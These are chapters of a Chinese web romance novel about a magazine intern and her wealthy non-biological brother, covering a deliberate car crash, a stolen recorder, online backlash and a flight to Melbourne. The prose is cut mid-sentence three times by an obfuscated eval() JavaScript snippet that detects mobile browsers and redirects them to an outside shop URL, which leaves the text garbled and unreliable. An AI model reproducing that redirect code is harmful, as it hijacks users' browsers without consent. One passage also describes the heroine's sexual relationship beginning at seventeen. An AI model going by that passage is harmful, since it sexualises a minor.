陈晋南交际了一圈,回到位置,发现薄津棠将手机扔至一旁,双腿交叠翘在茶几上,神容寡淡。见他回来,薄津棠眼皮扯起轻嘲弧度,唇齿间溢出嗤声。 “你现在看我的眼神,有种我抢了你女朋友的感觉。”陈晋南幽幽道,“绿油油的醋味儿。” “你还挺抢手的。” “什么?”陈晋南想起刚才他问自己的问题,“采访的事儿吗?除了你妹,我可没答应别人。”他把手里的高脚杯放置桌上,“我也就是卖你一个面子。” 他们都知道,陈晋南是看在薄津棠的面子上才会接受采访。 陈晋南问:“妹妹是出什么事儿了?” “小事儿。”薄津棠漫不经心的。 “小事有必要来找你?”陈晋南若有所思道,“妹妹长得挺乖的,该不会被人欺负了,回家和你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660744|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位家长告状来了?哎不是我说,薄津棠,你不是宠妹妹吗?妹妹受委屈了,你可不得订最快的一班机票回国替她撑腰?” 他不过是插科打诨的一句玩笑话,没想过薄津棠居然会说:“已经订好机票了。” 陈晋南:“你来真的?” 薄津棠懒懒地掠他一眼。 “不是小事儿吗?” “是小事儿。” “那……” “小事儿也得回去。”薄津棠捡起手机,唇角意味不明地扯动了下,几乎自言自语的音量,说,“对她而言是小事儿,但对我而言,是大事。” / 临近定稿日,杂志社忙得鸡飞狗跳。 钟漓的事尚未传出来,大家并不知晓。她如常般工作,下午三点多,组里人员喊她下楼拿外卖,钟漓放下手里的活,找到工牌下楼。 和外卖员核对手机尾号的时候,余光瞥到一道俏丽的窈窕身影。 女人将防晒衣穿出一股摇曳生姿的妩媚,惹的众人频频回眸。 外卖员也投以惊艳眸光,倒吸一口冷气:“那是不是谭笳月?” “是吧。”钟漓接过外卖袋,“小哥你还追星呢?” “不追星,但满大街都是她的广告,多少也认识一点儿。”外卖小哥挠挠头,“我送别的单去了。” 钟漓转身往回走,迎面撞上急匆匆跑出来的程千窈。 擦身而过。 钟漓往前走了几步,忽地停了下来。正好遇到个出外勤的同事回来,她把外卖袋递给对方,“不好意思,我有点事要出去一趟。” 对方接过外卖袋,“去吧去吧。” 写字楼路边停了两辆车,一辆是谭笳月的商务车,她矮身坐进车里,很快,程千窈紧随其后。 钟漓的目光落在另一辆车上。 黑色的迈巴赫,车牌是她熟悉的数字。 钟漓没有任何犹豫,走近迈巴赫主驾,敲了敲车窗。 车门打开,戴白手套的司机走了下来:“小姐。”他作势给她打开后排车门。 “不用。”钟漓直接钻进驾驶座里,一言不合地扣上安全带,略一挑眉,撞进后视镜映着的那双漆黑深瞳里。 怔愣几秒,钟漓双唇翕动:“你不是在澳洲?” 薄津棠懒倦耷拉着眼,像是没听到她的话,懒不成形的调子:“打算开车带我去私奔吗?大小姐。” “打算把你车撞了。”钟漓的回答像是在耍大小姐脾气。 “撞吧。”薄津棠骨感明显的手指撑着下颌,不仅没阻止,反倒纵容,“一辆车而已,能买你开心,挺值的。” 得到他的回答,钟漓发动车子。 油门踩到底,发动机轰鸣声震天响。 路边没其余车经过,钟漓冷着眼,挂挡。 黑色的迈巴赫直直地朝离它七八米远的商务车驶去。 “砰——”的一声。 两辆车撞在了一起,震感明显,车内的人均是一个踉跄。 钟漓似是终于有做错事的觉悟,连忙解开安全带,下车,身影匆忙,仓皇,慌张地跑到被撞的商务车旁。 司机心有余悸地下了车,一同下车的还有谭笳月的助理。 助理骂骂咧咧地:“你会不会开车啊?你不要以为几句道歉和赔偿就完事了,我要报警!” 后排的自动门开了,谭笳月戴着墨镜下车,看见肇事车辆的主人是钟漓后,她摘下鼻梁处的墨镜。 钟漓心道真不愧是演员,隐忍着怒气,保持优雅大方的模样,可真自然。 谭笳月笑着打圆场:“是我认识的人,没必要叫交警。我想,钟漓应该不是故意的。” “不好意思,”钟漓语气蔑然,轻飘飘地说,“我就是故意的。” 11. 11 11 路边偶有车辆经过,车轮碾压地面的声音微不足道,盖不过钟漓的声音。 饶是演技精湛的谭笳月,听到钟漓异常嚣张的发言,也维持不住表情,一丝丝裂开。 边上站着的助理,愣了几秒,随后暴跳如雷:“你什么意思?做错事还有理了?” 助理气不打一处儿来,打开手机的拨号界面,决定报警时,眼前兀的多了只手,拿过她的手机。助理茫然抬头,只能看见谭笳月的侧脸,她眯着眼,似在打量什么。循着谭笳月的视线看去—— 两辆车车头相撞,车头都有一定程度的凹陷和磨损,视线往下拉,依稀能从犄角疙瘩里找到对方车辆的车牌。 隐约窥见两个字母。 JT。 助理不知道这两个字母代表了什么。 谭笳月知晓。 是薄津棠的车。 贴了防窥膜的车子,无法看见车里的情况。 谭笳月不确定这辆车是薄津棠特意安排给钟漓的车,还是说,薄津棠恰巧路过此处,任由钟漓把迈巴赫当碰碰车胡闹。 她没法赌这不确定性。 她拉住助理的胳膊,眼神示意助理别轻举妄动,助理不明所以:“笳月姐……” 谭笳月的语气,柔和里带着几分委屈,楚楚可怜的惹人疼惜:“钟漓,是我哪儿惹到你了吗?” 说完这话,谭笳月注意到,钟漓压根没看她。 商务车后排自动门敞开,显出里面的光景。 程千窈单手撑着下巴,纤细白皙的颈线滑出优雅弧度,精致的五官拧着,一脸不耐烦。另一只手搭在扶手上,手里把玩着一只细长的东西。 钟漓仿若视谭笳月不存在,掠过她,走到程千窈面前,“你好像拿着我的东西。” “这是我的录音笔。”程千窈将录音笔收紧于掌心里。 “是吗?” “对啊。”程千窈咬字加重。 谭笳月走过来:“钟漓,你是不是认错了?” “录音笔里镶嵌了一枚粉钻,那枚粉钻是在苏富比拍卖会上拍卖到的,5.07克拉,VS1,Typell2,这种成色的粉钻,全世界仅此一枚。”钟漓淡笑着,“我自己的东西,我不会认错。” 程千窈摊开掌心,光线照射进来,录音笔上的钻石每个切面都折射出绚丽的光芒。 程千窈面色一僵。 钟漓伸手:“麻烦还给我。” “给你就是了。”程千窈干脆利落。 拿回属于自己的东西,钟漓作势要走,她瞥了眼被撞的凹陷的车头,问道:“要叫交警处理吗?” 助理似是终于认出了钟漓,满面讷讷,心虚地不发一言。 谭笳月的神情和她的妆容一般完美的无懈可击,她慷慨道:“没关系的,我这车不贵,倒是你这辆车,回去不好交差吧?” “玩具车而已。”钟漓神色平淡至极,却让人感受到了目中无人的傲慢。 钟漓没有回车里,而是转身进了办公楼,她看上去和这栋楼里上班的白领别无二致,普通到了极致。 路旁,戴白手套的司机上了迈巴赫,将车子开走。 谭笳月死死盯着那辆车,到头来,还是无法确认薄津棠是不是在那辆车里。 回到车里,程千窈若有所思地问:“钟漓,也是你们圈子的?” 程千窈从小在国外上学,今年才回的国。 她在北城只有谭笳月这么一个朋友。 谭笳月顿了一下,含糊地“嗯”了声。 程千窈:“我以为她就是普通的实习生,没想到大有来头。她是哪家千金?” 根据程千窈的话,谭笳月判断出钟漓低调的行事作风,确定钟漓实习并未用薄津棠妹妹的名号招摇过市。 谭笳月抿了抿唇瓣,漫不经心地:“哪家千金大小姐会每天勤勤恳恳来上班的?” 豪门圈子里有太多龃龉,家族里有几个私生子女也不是多稀罕的事儿。 每天领份微薄的薪水打工的,不像是千金大小姐,像是上不了台面的私生女。即便不是私生女,也是个在家族里毫无话语权的存在。 听到谭笳月的话,程千窈便没把钟漓往心里去,她皱眉,问道:“那只录音笔,是你从她那里偷来的吗?” 谭笳月:“这重要吗?” 程千窈炸毛:“当然重要!我俩是一个报社的,等到采访稿出来,她不就知道是我偷了她的录音笔,偷了她的采访吗?” “她有证据吗?”谭笳月反问。 “……” “何况,不是你自己约不到采访对象?”谭笳月说,“正好有现成的采访内容,你拿着用就是了。” “可是——” “别可是了,录音笔被她拿回去了,你现在要想的是,要约谁采访。”谭笳月轻描淡写地转移话题。 “我从头到尾都只想约薄津棠。”程千窈撇了撇嘴。 谭笳月冷笑:“他不会答应的。” 程千窈:“你和他不是有过婚约吗?你可不可以帮我和他牵个线?” 谭笳月:“你也说是有过,但凡他愿意给我个面子,我俩的婚约就不会不作数。” 程千窈问:“他真这么绝情?” 谭笳月笑意薄冷:“他比你想象的还要绝情。” 本以为自己说这话会劝退程千窈,没想到,程千窈跟打了鸡血一样,更加亢奋:“听你这么描述,我对他更感兴趣了。实在不行,我求求我爸妈,他们一定有法子帮我约到薄津棠的!” 谭笳月敛下眼里的鄙夷,她笑意温柔:“祝你好运。” / 回到工位,钟漓把录音笔放在桌上。 没多久,凌雀怒气冲冲地从主编室出来,她走到钟漓身边,随便拖了条空椅子坐下,压着火抱怨道,“我这辈子最烦的就是关系户了,你辛辛苦苦写的稿子,找关系约的采访,现在好了,关系户一句话,你所做的一切都是白费。” 周围的人都在忙手头的事,没时间顾暇她俩的密切私语。 凌雀是带钟漓的组长,想来主编和凌雀说了这件事。 钟漓给她倒了杯水:“真说起来,我也算是关系户。” 毕竟她也是找的关系,才能约上陈晋南的采访。 凌雀默了默,“这不一样。” 见她一脸平静淡然,凌雀诧异:“你都不生气的吗?” 钟漓:“生气不能解决问题。” 凌雀挺佩服她的。 在杂志社上班的人,对于时尚品牌的感知力很敏锐。钟漓衣着朴素低调,连logo都没有一个,乍一看平平无奇,可是凌雀一眼认出,那是由知名设计师亲手制作的衣服。 小姑娘家境优渥到了极致,却每天任劳任怨地上班,没有半点儿豪门大小姐的娇气。 整个人有种不显山不露水的平静感。 “你有什么解决办法吗?”凌雀问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660745|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “换个人采访。”钟漓说。 “换谁?放眼整个北城,只有薄家那位能压住陈晋南的风头。”凌雀开玩笑道,“难不成你还有个闺蜜是薄家太子爷的表妹?” “没有。”钟漓眼皮低垂,“薄家太子爷不是我们这种普通人能高攀的上的。” 这话刚落,钟漓的手机叮咚作响。 恰好有人找凌雀,凌雀长叹一声,起身离开。 钟漓拿起手机。 她一度怀疑薄津棠在她身上装了监控。 要不然,怎么刚提到他的名字,他就给自己发来消息。 薄津棠:【处理好了?】 “好”字刚打完,钟漓想到那辆被自己撞的车头凹陷的车,愧疚感袭来。她抓起手机,走出办公室,找了个角落位置,给薄津棠拨了电话过去。 电话响了两下就接通。 薄津棠哼笑一声:“小没良心的。” 钟漓下意识反驳:“干嘛骂我?” “把我车撞坏了,一句道歉都没有。” “是你自己说可以撞的。” “我是说了可以撞,但是这场车祸,我可是受害者。”薄津棠懒洋洋的语调,听起来闲适安逸,说出来的内容却夸大其词,“肇事司机不关心一下后座乘客的身体状况和心理状况吗?我都留下心里阴影了。” 什么人啊。 钟漓翻了个白眼。 她好声好气道:“这么点儿碰撞,能有什么心理阴影?” “总觉得你要开车带我去殉情。”他说出来的每个字都多情浮浪,像个久经情场的浪荡子。 钟漓没好气道:“我很惜命的。” 此时通话里插入一道官方正经的播音腔:“飞往墨尔本的航班……” 钟漓一愣:“你在机场?” 薄津棠语调清淡地嗯了声。 结合昨晚二人打电话时,他口口声声说自己也在澳洲一事,钟漓眨眼的速度放慢,“你该不会因为这件事,突然回国的吧?” “不是。” 钟漓悬在半空的心,似乎安稳地坠落地面,但她并没有为之松了一口气,隐约有股失落感。 “我也希望不是。”薄津棠的回答很“薄津棠”,那个所有好友眼里,都疼且只疼妹妹的薄津棠,“除了你以外,谁还有这种本事,能让我抽出时间特意跑回国?” “漓漓,你说说,你是不是没良心?” 钟漓双唇翕动,想说些什么,大脑则是一片空白,不知如何组织语言。 约莫两分钟。 谁都没说话。 薄津棠说:“时间差不多了。” 宕机的大脑,霎时钻进一句话,钟漓脱口而出:“哥哥,你什么时候回来?” 薄津棠说:“半个月后。” 钟漓:“这么久。” 薄津棠一如既往的强势:“所以我给你订了月底来澳洲的机票。” 钟漓:“我不是这个意思。” “我是这个意思。”薄津棠的嗓音温柔,像是在哄人,说出来的内容却带着浓重的胁迫意味,咄咄逼人到了极致,“你只有两个选择,要么自己开开心心地上飞机,要么被保镖架着上飞机。” 钟漓登时火大,刚打算与他据理力争的时候,余光瞥到个曼妙身影,她嘴里的话瞬间咽了回去。 是程千窈。 她左右张望,看到钟漓的时候,眼前一亮。 然后,直挺挺地朝她走来。 12. 12 12 眼前是离她越来越近的程千窈,耳边是等待她回答的薄津棠。 程千窈在她面前站定的时候,钟漓把电话挂了。 程千窈露出友善的微笑:“嗨,我叫程千窈,你应该认得我。” 钟漓神情里透露出一丝无措的茫然:“你是章总的……” “对。”和钟漓的隐瞒不同,程千窈由来都坦然承认自己的身份,并且利用特权,将钟漓的情况调查的一清二楚,“你是北城大学新闻系的对吧,按理说,你们新闻系更喜欢去电视台或者传统纸媒,你怎么会来杂志社?” “面试的时候我已经回答过这个问题了。”钟漓话语里拒绝交谈的态度很明显。 “哎呀我就是随便问问,”程千窈非常自来熟,说着说着就挽上了钟漓的胳膊,“你别多想。” 钟漓眉头微蹙,她并不喜欢这份突如其来的热络,她抽回手,“你找我有事吗?没事的话,我要回去工作了。” “录音笔的事,我得和你道歉。” “……啊?”钟漓怀疑自己的耳朵,她没想到程千窈居然会主动低头道歉。 “我不知道那是你的录音笔。”程千窈说,“现在物归原主,也算是好事。” 钟漓不知道她在卖什么关子,没说话。 “我看过你写的陈晋南的采访稿,写得很好,主编也说会用你的稿子。” “是吗?”钟漓眼里情绪平静。 “对呀。”程千窈语调软软的,“是你的东西就是你的,我不会和你抢。” 钟漓笑笑,没说话。 大概是她的疏离过于明显,程千窈说了几句便怡怡然离开了。 对于她主动找自己,就为了道歉这一事,钟漓实在想不明白。回到工位,她被主编叫进办公室,主编对她的态度和之前堪称天差地别,将她视为座上宾般,给她端茶倒水:“小钟啊,是我老糊涂了,你的采访稿写得不错,下期就用你的稿子,署你的名。” 钟漓低头,拿着杯子的手扣着杯壁,过了会儿,她问道:“那程千窈呢?” 主编面色一僵,很快恢复如初,“小程换了个人采访。” 原来是程千窈不要的,才给她。 才还给她。 钟漓在心底冷笑了声。 这就是所谓的特权。 她选了一条没有薄津棠的路,就得硬着头皮往下走。 可是主编谄媚得近乎异常,使得钟漓产生了一种自己也是关系户的错觉。 当时通知她换个人采访的时候,主编只发来一条冷冰冰的微信消息。现在却好声好气地和她当面道歉,态度大相径庭。 钟漓心里冒出了一个人。 薄津棠。 难不成他给主编打了通电话? 即便她一而再再而三地强调,不想用他的名号,他也再三答应。 但以他阴晴不定的性格。 说不好真有这种可能。 是以从主编办公室出来,钟漓立刻给薄津棠打了电话过去。 这回电话无人接听。 估摸着已经上了飞机,钟漓盘算了下时间,决定等他下飞机后再打电话质问他,并且拒绝他,自己国庆飞去澳洲陪他这件事。 / 钟漓难得准点下班,她收拾好东西,去电梯间。 下班高峰期,电梯间里人满为患,她等了好几趟才挤进电梯里。空阔的电梯轿厢,除了她以外只站了三个人。 程千窈,章朝莹,还有一张熟面孔,是章朝莹的助理。 钟漓眼神忽闪,迟疑半秒,还是迈着步子走进电梯里,按下一楼。 电梯里气氛并不好,程千窈耷拉着脑袋,似乎挨训了。 见有外人在,章朝莹没说别的,只说:“该是你的都会是你的,别做不符合你身份的事,传出去让人笑话。” 程千窈有气无力地哦了声。 然后是一路沉默,电梯到一楼停下,钟漓快速离开。 她没有回家,拦了辆出租车到姜绵家。 姜绵被禁足一个月,钟漓到她家的时候,她正捧着ipad,嘴上念念有词,离得近了,钟漓听清了她的话:“怎么只有一米八啊?别人都是一米八五一米八八的,这个有点矮了。” “我看看年纪,二十七岁,不行不行。” 钟漓听得一头雾水,走到她身边坐下,“什么不行?” “你来啦。”姜绵把ipad递给钟漓看,“相亲对象。” “你怎么突然要相亲了?” “哎,”姜绵忧愁叹气,“没办法呀,男人的花期太短了。你没听过那句话吗?男人过了二十五,就等于五十二。你看这个男的,长得还行,但是二十七岁了,估计那方面不太行。” “哪方面?”钟漓一时间没反应过来。 “床上。”姜绵放下ipad,仔细打量着钟漓,更叹气了,“你什么时候才能开窍?” “……” 也难怪她会发出这种感慨。 因为钟漓一直都不缺人追。 美女分许多类型,但像钟漓这样的少之又少。脸上没什么表情时,给人乖巧恬静的清纯感,那双勾人的眼一弯起来,媚眼如丝,美的惊心动魄。 追她的男生如过江之鲫,可她没给任何男人一个眼神。 “我最近可学到了不少东西,挑男人我有三要,鼻梁高,眉毛粗,头发多;也有三不要,个子矮的不要,年纪大的不要,青春期胖的男的不要。” 钟漓不解:“为什么特意强调青春期?” 姜绵面色坦荡道:“青春期胖的,据说那里都小小的,小小的是很可爱没错啦,但我不管什么东西都喜欢大的。”停顿两秒,姜绵给钟漓抛了个羡慕的眼神,“我的胸要是有你的这么大就好了。” 钟漓直接把沙发上的抱枕压在姜绵的脸上。 姜绵笑得停不下来,她抽过抱枕,抱在怀里,“你哥和我哥都过了二十五了,你说他俩是不是也,心有余而力不足?” 关于姜绍白,钟漓无法给出答案。 但关于薄津棠,钟漓可以非常明确地得出结论。 他一点儿都不像是二十七岁的男人。 钟漓是十七岁那年和薄津棠上的床,那晚还闹了个大乌龙。 以至于后来钟漓时常拿这件事嘲笑薄津棠。 他找不到进去的地方。 新手上路,是这样的。 但是哪有新手找对路之后,立即条条大路通罗马? 那晚他们做了六次,从天黑做到天边泛起鱼肚白的光。 外人眼里,禁欲克己的薄津棠,在她面前,放浪形骸。 做到第三次的时候她就害怕了,起身想逃。薄津棠反应比她更快,他扯开颈间的领带,把她的手绑在床柱上,打了个死结。 时至今日,薄津棠依然是那个薄津棠。 在床事方面有股狠劲儿。 钟漓不喜欢去薄津棠的住所,理由很简单。 说不了几句话,薄津棠就要脱她衣服。 在他家,她大部分时间都是不穿衣服的,即便穿衣服,也被薄津棠无孔不入的占有欲要求——穿他的衣服。 忡楞间,耳边响起姜绍白的声音,“一天到晚胡说八道什么?让你禁足还是太温柔了,我就得把你的嘴巴也一同关禁闭。” 钟漓抬眼,看到姜绍白从屋外进来,一身风尘仆仆。 “嘴长在我身上,我想说什么就是什么!”姜绵不乐意,贱兮兮地反驳,“你反应那么大干什么?难不成我戳到你痛处了?姜绍白,你要是真不行,我给你买点补药补补。” “谁不行?”姜绍白挥了挥手里的东西,“我建议你认真思考后,再回答我。” “这不是我钟意的那款克什米尔兰蓝宝石项链?哥哥我爱你!”姜绵瞬间倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660746|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈,一副狗腿样,“哥哥,你就是全天下最行的男人!一夜七次,不对,一夜七次的是薄津棠,哥哥,你比薄家那位还厉害,你一夜八次!” “停停停——”姜绍白嫌弃地把手里的项链扔给她,他和边上的钟漓挑了挑眉,当做打招呼,“你的嘴能不能有个把门的?成天和漓漓玩,怎么就没学到一星半点儿漓漓的沉稳?” 礼物也堵不住姜绵的嘴,“你成天和薄津棠待在一起,也没见你和薄津棠似的能给集团赚那么多钱。” 姜绍白啧了声,“有你这样的妹吗?” 姜绵回呛:“有你这样的哥吗?但凡你长得有薄津棠一半帅,能力有他一半强,爸妈还会急着给你找联姻对象吗?” 怼的姜绍白哑口无言。 “奇怪,这个时间点,你应该在相亲,怎么突然回家了?”姜绵问。 姜绍白的神色忽地变了变,欲言又止地看向钟漓。 姜绵专注地把玩着她手里的蓝宝石项链,没注意到他的异样。 钟漓:“怎么了吗?绍白哥。” 姜绍白说:“时间很晚了,你也别回家了,这几天都住这儿,我会安排司机接送你上下班的。等到放假那天,你直接和我一块儿飞澳洲。” “现在才晚上六点,不晚啊。”钟漓听的云里雾里的,但她很确定一件事,“我不去澳洲。” 刚说完,钟漓的手机噼里啪啦响起一堆消息。 “可能是工作消息,”钟漓和姜绍白说,“绍白哥,你等我一会儿。” 她低头查阅消息,约莫有十几个人找她,消息内容别无二致,都发了一个链接,然后问她:“这是不是你?” 点进链接的同时,客厅的电视频道正播放着一条娱乐新闻。 “有网友爆料,艺人谭笳月与一私家车发生剐蹭,从视频里可以看出,是私家车恶意撞车,谭笳月遭受无妄之灾。好在谭笳月没有受伤,今天下午,有网友在机场偶遇到她,她大大方方地和网友合照。据悉,谭笳月是去墨尔本参加活动……” 一段高清视频,视频里清晰地露出谭笳月的脸,至于那位恶意撞车的私家车车主的脸,为了保护素人隐私,那人的脸被打了马赛克。 别人认不出,但是杂志社的同事根据衣着穿搭,认出了钟漓。 姜绵也认出来了,她一脸惊讶:“漓漓,你真是恶意撞的吗?还是不小心把油门当刹车踩了?” 钟漓没回,她低头看着手机,短视频的评论区已经沦陷,清一色在骂这位恶意撞车的素人。 手机里弹了很多新消息。 同事问她:【什么情况?】 【这不是在公司楼下吗?】 【怎么回事?】 凌雀也发来消息:【你今天下午下楼的时候撞的吗?我知道你是千金大小姐,但是那可是迈巴赫,你都不心疼的吗?】 还有主编。 主编:【小钟啊,到底什么情况?媒体的电话都打到我这儿来了!你最近先别来杂志社了,等到事情处理好再说。】 事情处理好再说。 怎么算处理好? 再说是什么说法? 继续上班,还是辞退? 含糊不清的回答。 钟漓半张脸隐在阴暗里,辨不清情绪。 电视机已经被关了,偌大的客厅很静,静的落针可闻。 姜绵和姜绍白对视了眼,姜绵刚想出口安慰,钟漓没头没尾地说了一句:“绍白哥,去墨尔本最快的航班是什么时候?” 姜绍白愣了下:“你刚刚不还说不去吗?” 钟漓弯眼,笑意干净,“我改变想法了,立刻,马上,我要去澳洲。” 不知为什么,姜绵从钟漓人畜无害的笑里,得出几分阴测测的森冷感。 那种感觉,分外熟悉,像是在哪儿见过。 她想起来了。 在薄津棠身上见过。 13. 13 13. 北城直飞墨尔本的航班不多,一天两班,晚上十点还有一班。 所幸还能订到头等舱的票,姜绍白只买了一张。 钟漓问姜绍白机票多少钱,姜绍白一副被辜负的表情:“好歹你叫了我这么多年哥哥,哥哥出钱给妹妹买张机票多正常。漓漓,你说这话,生分了。” 姜绵附和道:“漓漓,虽然我哥赚钱没你哥厉害,但是机票才几个钱,你就让我哥出吧。” 钟漓说:“谢谢你,绍白哥。” 姜绍白:“小事儿。” 时间很赶,钟漓没带行李,她的身份证护照等都个人物件都随身携带,订完票,姜绍白就驱车带她去往机场。 过的路上,姜绍白和她说之前的计划:“原本是打算过几天等你放假了,再去澳洲的。薄津棠已经把航线申请好了,到时候坐他的湾流G700过去就行。” “没想到你现在就要去。” “因为这件事,杂志社提早给我放假了。”钟漓降下车窗,无波无澜的口吻,“闲着也是闲着,不如去澳洲玩一阵。” 夜色沉沉,路上车辆寥寥无几,路灯亮着寂静的光。 昏蒙的光影里,风带着一丝秋日的凉意,扑在钟漓的脸上,她琥珀色的瞳仁像是被暗夜浸染,扑了一层深晦色泽。 姜绵坐在副驾驶,她侧过半边身子朝向后座的钟漓,“你还没说呢,到底为什么会撞上谭笳月的车?” 姜绍白一把拉过姜绵,“系上安全带行吗?有没有交通安全意识?” “没有。”姜绵理直气壮,“我喜欢坐后座,后座又不需要系安全带!” 说归说,她还是老老实实地扣上安全带。 “漓漓你还记得吗?高中的时候,谭笳月一开始不知道你是薄津棠的妹妹,把你使唤来使唤去的,后来看到薄津棠开车来接你,知道了你的身份,她对你的态度那叫一个一百八十度大转变。”姜绵冷不丁地旧事重提,感慨道,“真没想到她这种人居然能当明星。” 钟漓当然记得。 她把车窗升了上去,呼啸的风声被隔绝在外。 “少在背后说人坏话。”姜绍白说,“谭笳月性格脾气都挺好的。” “那是因为她爱装,死绿茶。”姜绵直言道,“表面装温柔,背地里蔫儿坏!我敢说这个视频百分百是她叫人发出来的!” “别把人想得那么坏。”姜绍白头疼,“她发这视频有什么意义?” “为了塑造自己大方包容的形象,被害者无辜,说不准还为了让网友们网暴漓漓。” 谭笳月和谭少渠虽是姐弟俩,但二人的性格天差地别。 有别于谭少渠的嚣张不可一世,谭笳月备受圈内人欢迎,温柔优雅,落落大方。 姜绍白显然也深受其害,“谭笳月人挺不错的,绵绵,你是不是对她有误解?” 姜绵烦死他了:“你是我哥还是她哥?我说的你不信,偏信一个外人的。”过了会儿,她恍然大悟,鄙夷,“你们男人就爱这种装无辜扮温柔的绿茶。” “……” 一路上,姜家兄妹俩吵吵闹闹地,没给钟漓插话的空档。 没多久,到了机场,钟漓和二人告别。 姜绵说:“到了给我发条消息。” 钟漓朝她挥挥手:“好,你们回去的路上小心点,注意安全。” / 飞机起飞前,钟漓看了眼手机。 消息很多,都是来问她撞车一事,有关心,但大多都是八卦看热闹。 眼不见为净,钟漓索性把手机关机。 大约十一个小时的飞行时间,飞机落地。当地时间下午一点多。 想来姜绍白已经联系过薄津棠,钟漓刚出来,就看见了徐特助。 钟漓问他:“我哥呢?” 徐特助道:“薄总还在开会,他让我先送您去酒店休息。坐了这么久的飞机,大小姐,你应该很累了吧?” “还好。”钟漓上了车,她掏出手机,边给手机开机,边问,“我哥什么时候开完会?” “薄总今天的行程安排得很满。”徐特助委婉提醒。 言外之意,会议之后还有别的事,没有时间分给钟漓。 奔波许久,钟漓的声音透着疲惫,她问:“他什么时候回酒店?” 徐特助眼观鼻鼻观心,传达:“薄总的意思是,尽量会在晚上十点前结束工作。” 钟漓打了个哈欠,淡淡地嗯了声。 她有个怪毛病,没法在飞机上睡觉。 酒店离机场有一段距离,钟漓此刻在车后排补觉。 时间过得飞快,仿若是刚闭眼,不到一分钟的工夫,钟漓被徐特助叫醒:“大小姐,到酒店了。” 钟漓困顿地揉揉眼,惺忪着嗓:“这么快?” 徐特助失笑:“一个多小时过去了。” 钟漓嘟囔着:“我有睡这么久吗?” 她刚睡醒,眼里还浮着层雾蒙蒙的水汽,迷离混沌。一副毫无防备的模样,极惹人怜惜。 徐冲跟在薄津棠身边多年,见过的美人不计其数,可能够次次见面都令他惊艳的,也只有钟漓一个。 并非是她的五官外貌,而是她给人的感觉。 清冷里透着股坚韧,眼里不含任何欲望,却让人过目难忘。 徐冲心想,怪不得没有血缘关系,薄总还这么疼她,换做任何一个人,都会将她视为己出的。 等他回神的时候,钟漓已经下车。 徐冲连忙下车,殷勤地带钟漓办入住手续。 总统套房里有三个房间,钟漓无需再单开一间房。 前台站着七八位办理入住的客人,checkin时间稍长,等待时间,钟漓掏出手机,搜索谭笳月在澳洲的行程安排。得益于网络时代,明星效应使得她的行程近乎全透明,什么时候下飞机,在哪个地方参加什么活动……一应俱全。 谭笳月出国是为了参加一个高奢品牌珠宝展慈善展。 活动还包括了一个晚宴环节,参加晚宴的不止有明星艺人,品牌方还会邀请一堆富商。 钟漓翻找了下,没找到晚宴所在酒店,她拿着手机,问徐冲:“我哥晚上是不是要参加这个活动?” 徐特助表情惊讶:“薄总要是知道你对他的行程这么关心,一定会很开心的。” “……”钟漓心里闷闷地,“我平常不关心他吗?” “是的,”徐冲毕竟是领薄津棠发的薪水,说的煞有介事,“以前,薄总是死是活,你都不关心。” 停顿一瞬,钟漓冷冷觑他一眼,徐冲火速移开话题,“没人了,我去给您办理入住手续。” 入住手续办理好,徐冲带钟漓上楼。 总统套房位于酒店最高层,视角优越,蓝天近在咫尺,这座城如同一座钢铁森林,庞大繁华,俯瞰之下,又显得渺小,微不足道。 进屋后,徐冲和她介绍屋里的东西,他办事一贯周到,去机场接她的路上就已经联系各品牌方,将符合她的衣服与常用的护肤品送进客房。 介绍完毕,徐冲抬手看了眼腕表,“薄总那边还有些事需要我过去,大小姐,您要是有什么事,随时给我打电话就行。” 钟漓点头,拿着睡衣进浴室洗漱,吹干头发后,犹豫了下,她进了主卧。 几乎是刚躺下,她就睡着。醒来时,落地窗外铺着一片浓郁夜色。 醒来的时候她 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钟漓没好气地接过毛巾,给他擦着头发。二人距离很近,她眼前是他湿漉漉淌着水滴的头发,呼吸间满是湿润的薄荷凛香。 寂静里,薄津棠兀的说:“所有东西都删了。” 用了好几秒的时间,钟漓意识到他说的是什么,她给他擦头发的动作没停,“找到是谁发的视频了吗?” “你觉得是谁?” “谭笳月。” 薄津棠喉间滚出嗤笑,“还挺聪明。” “视频发出来,她是受害者,也是既得利益者,除了她,也没别人会干这种事了。” “其实你不来找我,我也会处理这件事。”薄津棠抓住她的胳膊,把她整个人都圈进自己的怀里,他下颌抵着她的头,有一下没一下地摩挲着,“漓漓,我很开心,你主动来澳洲。” “谭笳月也来澳洲了。”钟漓说。 这话落下后,室内的温度以光速下降,钟漓被他抱着,周身却渗着密密麻麻的寒意。 